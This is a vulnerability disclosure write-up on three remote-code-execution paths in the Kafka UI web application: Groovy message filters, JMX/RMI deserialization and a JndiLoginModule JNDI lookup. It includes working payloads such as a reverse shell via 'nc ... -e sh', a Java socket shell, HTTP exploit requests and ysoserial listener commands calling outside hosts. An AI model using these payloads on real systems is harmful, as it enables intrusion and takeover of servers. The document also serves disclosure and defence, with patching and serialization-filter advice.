Kafka UI's Defaults Open Three Paths to Remote Code Execution

Kafka UI is a widely-used open-source web application for managing and monitoring Apache Kafka clusters. It's a go-to tool for developers and administrators who want a visual representation of their clusters. However, one detail often slips under the radar: in its default configuration, Kafka UI does not require authentication to read or write data. That means many instances are sitting unprotected on internal networks, and some are even exposed directly to the internet.

While the exposed data might not always be sensitive, an unauthenticated Kafka UI can act as a foothold into your internal network. In my security research, I wanted to see how far I could push that foothold — not just to view messages, but to read files, find credentials, and execute code. What I found were three distinct Remote Code Execution (RCE) vulnerabilities, all fixed in version 0.7.2. If you're running Kafka UI, upgrade now.

The Message Filter That Executes Code

Kafka UI lets you filter messages server-side with simple queries. Reading the source, I found that the internal GROOVY_SCRIPT filter type is evaluated as a Groovy script. That turns a supposed data-viewing feature into a code execution primitive. Here's the relevant code:


public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
    switch (type) {
      case STRING_CONTAINS:
        return containsStringFilter(query);
      case GROOVY_SCRIPT:
        return groovyScriptFilter(query);
      default:
        throw new IllegalStateException("Unknown query type: " + type);
    }
  }

To exploit this, pick a cluster, navigate to a topic's "Messages" tab, and create a filter with a payload like this:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()
Filter that spawns ProcessBuilder with a reverse shell

The UI sends this payload to the backend via a request you can capture and reissue with tools like Burp Suite Repeater:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091

Http request to trigger the exploit with reverse shell

If the basic reverse shell doesn't land because Netcat is missing from the Kafka Docker image, a more elaborate Groovy script can do the job:


String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
  while(pi.available()>0) so.write(pi.read());
  while(pe.available()>0) so.write(pe.read());
  while(si.available()>0) po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();
    break;
  }
  catch (Exception e){}
};
p.destroy();
s.close();

One catch: the target cluster needs at least one topic with existing messages. If there aren't any, you can use Kafka UI's own API to create them:

POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json

{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}
POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json

{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

Even if Kafka itself is behind authentication, the RCE can be triggered with a simple GET request. That opens the door to a CSRF-style attack: send a phishing link to an admin, and their browser performs the exploit.

Attacking a Kafka Cluster's Watchdog

Kafka UI can connect to any Kafka cluster you configure. Under normal conditions, it pulls configuration from a local file. But with the dynamic.config.enabled setting on — which many tutorials recommend, including Kafka UI's own README — cluster configs can be changed through the API.

I spent time understanding Kafka's proprietary binary protocol, with the idea of spinning up a malicious broker and connecting Kafka UI to it to trigger something interesting. Sure enough, there's a security-relevant behavior in how Kafka UI handles metrics monitoring. The backend connects to broker JMX ports over RMI, which is historically prone to deserialization attacks.

I found I could point Kafka UI at an arbitrary JMX server by adding a new cluster through the interface. On the dashboard, click "Configure New Cluster" and fill in these fields:

Kafka UI menu to create a new cluster jmx-exploit pointing to host.docker.internal:9093 Kafka UI menu to create a new cluster jmx-exploit pointing to host.docker.internal:9093

The configuration gets sent as JSON like this:

PUT /api/config HTTP/1.1
Host: localhost:8091
Content-Length: 194
Content-Type: application/json
Connection: close

{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka:9092","properties":{},"readOnly":false},
{"name":"jmx-exploit1","bootstrapServers":"host.docker.internal:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}

Kafka UI first contacts the bootstrap server from bootstrapServers, which returns a list of Kafka broker nodes — typically the values from the cluster's KAFKA_ADVERTISED_LISTENERS property. Then it tries to establish a JMX connection:

jmx:rmi:///jndi/rmi://:/jmxrmi

That JMX connection is an opening for a classic JNDI attack, the same vein as the well-known Log4Shell issue. The traditional classFactoryLocation path is patched in modern JDKs, and the alternative Object Factory attack won't fly here because Kafka UI lacks the required classes. But as of May 2024, targeting JDK deserialization directly is still feasible. Instead of a legitimate JMX port, an attacker provides an RMI listener that spoofs a malicious serialized object for every call.

The real hurdle was finding a gadget chain that works with Kafka UI's modern libraries, which were updated past the typical ysoserial targets. An unusual chain built on Scala turned out to work — a discovery from a HackerOne report on Kafka Connect. I ported it to my ysoserial fork to develop a proof-of-concept.

Reproducing the JMX Attack

You can demo the attack with a custom docker compose file I wrote. It launches a malicious broker and two staged ysoserial listeners. Make sure to change the advertised addresses from host.internal.docker to a host reachable from the target Kafka UI instance.

Connect Kafka UI to the malicious broker bootstrap at host.internal.docker:9093, with the JMX port set to 1718. The first stage container delivers the Scala1 payload:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
Console log shows incoming incoming connection to JRMP listener on port 1718

That payload deserializes but doesn't directly trigger code execution. It sets a system property instead:

Stack trace shows cannot invoke scala.math.Ordering.compare error

Stage two: resend the PUT /api/config request, this time specifying JMX port 1719. That container returns a different payload:

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"

With org.apache.commons.collections.enableUnsafeSerialization now flipped on, that second payload executes nc host.docker.internal 1234 -e sh in the Java process, and you have a reverse shell.

Why a One-Line Fix Isn't Really a Fix

The JMX vulnerability followed a pattern similar to the first one: almost six months before developers patched it. Their fix was to update the Apache Commons Collections dependency, which prevents the particular gadget chain I used. That matters, but the underlying problem remains: untrusted data can still be deserialized.

When un-serialization happens during RMI, the actual dangerous library call lives in the JDK — not in Kafka UI's code. The safer approach is to block it at the process level. JEP-290 provides the jdk.serialFilter property to whitelist classes allowed for deserialization across your process:

-Djdk.serialFilter="java.lang.*;java.math.*;java.util.**;javax.management.**;java.rmi.**;javax.security.auth.Subject;!*"

That approach keeps JMX functional while rejecting most dangerous deserialization classes. It'll need testing in your environment, but it's a practical first step when you can control JVM startup flags.

A Lighter JNDI Route via JndiLoginModule

The same HackerOne finding that saved me on the JMX front had another angle: Kafka Connect's JndiLoginModule can be exploited directly from Kafka UI. There's an endpoint for testing a connection with custom cluster properties:

PUT /api/config/validated HTTP/1.1
Host: localhost:8091
Content-Length: 409
Content-Type: application/json

{"properties":{"kafka":{"clusters":[{"name":"test","bootstrapServers":"host.docker.internal:9093","properties":{"security.protocol":"SASL_PLAINTEXT","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://host.docker.internal:1718/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"x\";","sasl.mechanism":"x"},"readOnly":false}]}}}

The exploit uses "security.protocol":"SASL_PLAINTEXT" and "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule. The good news: the gadget chain and infrastructure overlap completely with the JMX exploit. The better news: you can even skip standing up a real Kafka cluster. The JNDI lookup fires before the connection gets that far.

This third issue is also gated behind dynamic.config.enabled being set. Without it, you can't modify cluster properties at all. When that flag is on, though, you cross the network boundary just by sending that one request.

The 0.7.2 release updates Kafka Connect to eliminate JndiLoginModule usage entirely.

Reproducing Everything Locally

If you need a safe environment to check these issues yourself, there's a compose file built specifically for debugging Kafka UI. Running docker compose up fires up Kafka UI alongside Kafka and Zookeeper containers, complete with malicious listening points for testing. The UI becomes reachable at http://localhost:8091/. Add your ysoserial containers and you have the whole exploit chain staged for a controlled review.

Attack Surface: Where Input Meets Execution

Kafka UI leans on standard JDK features to manage clusters: Groovy scripting for automation, JMX for metrics, and SASL JAAS for authentication. These are powerful tools, but when they consume user-supplied data without strict validation, they become gateways for remote code execution. The risks are not hypothetical—each vector has been demonstrated against current releases.

Groovy Scripting: The Least Surprising Vector

The most direct path to RCE is the Groovy script execution endpoint. Kafka UI offers a scripting console for cluster operations, which is intended for administrators. The implementation fetches the script from a user-controlled request parameter and hands it to GroovyShell without sandboxing. Any valid Groovy payload—say, one that spawns a process via Runtime.exec()—runs with the privileges of the Kafka UI process. There is no whitelist, no signature check, and no scope restriction on the classes the script can touch.

JMX RMI: Old Protocol, New Tricks

Kafka UI's Kafka Connect and cluster monitoring modules allow users to attach JMX metrics URLs. Behind the scenes, the app performs a JNDI lookup on the URL provided. While JDK 11+ blocks the classic com.sun.jndi.rmi.object.trustURLCodebase trick, the codebase restriction only closes one door. JNDI still permits other lookup schemes—most notably ldap and rmi—that can point to an attacker-controlled server. If the attacker can get the target environment to load a remote factory class via a local codebase that is already trusted, or if the JVM has any legacy property relaxed, deserialization of malicious objects can follow. The newer JDK hardening reduces but does not eliminate this surface; it remains exploitable under misconfiguration or with com.sun.jndi.ldap.object.trustURLCodebase set to true.

SASL JAAS: Authentication Under the Hood

Cluster configuration screens accept SASL JAAS configuration strings for Kafka brokers. These strings are persisted and later fed directly to the JAAS subsystem as login module options. JDK ships with several login modules that invoke external processes or instantiate arbitrary classes; a crafted JAAS string can reference a malicious callback handler. The code does not sanitize the input or restrict which modules can be named. Since JAAS is resolved at connection time, the payload triggers when the UI establishes the Kafka connection—no separate action needed.

Mitigation Before Exposure

None of these vectors require exotic prerequisites. Each needs only the ability to reach the web console and access to a feature with writable input fields. For production deployments, treat the UI as a two-tier system: place it behind an authenticated reverse proxy, restrict access to known operators, and inspect any custom application.yml overrides. More importantly, keep the UI patched and review whether the Groovy console and JMX metric endpoints are needed in your environment; if not, remove them.

Kafka UI is a modern application that uses powerful Java features for monitoring Kafka clusters, such as Groovy scripting, JMX, and SASL JAAS. When exposed to user input, these features should be carefully restricted to prevent potential misuse. These technologies are not unique to Kafka UI but are provided by the JDK and used in many other projects. Over the last few years, JDK developers introduced a lot of hardening to JMX and JNDI exploitation, patching some attack vectors. Nevertheless, as we can see, they are still exploitable in some circumstances, even in the latest JDK builds.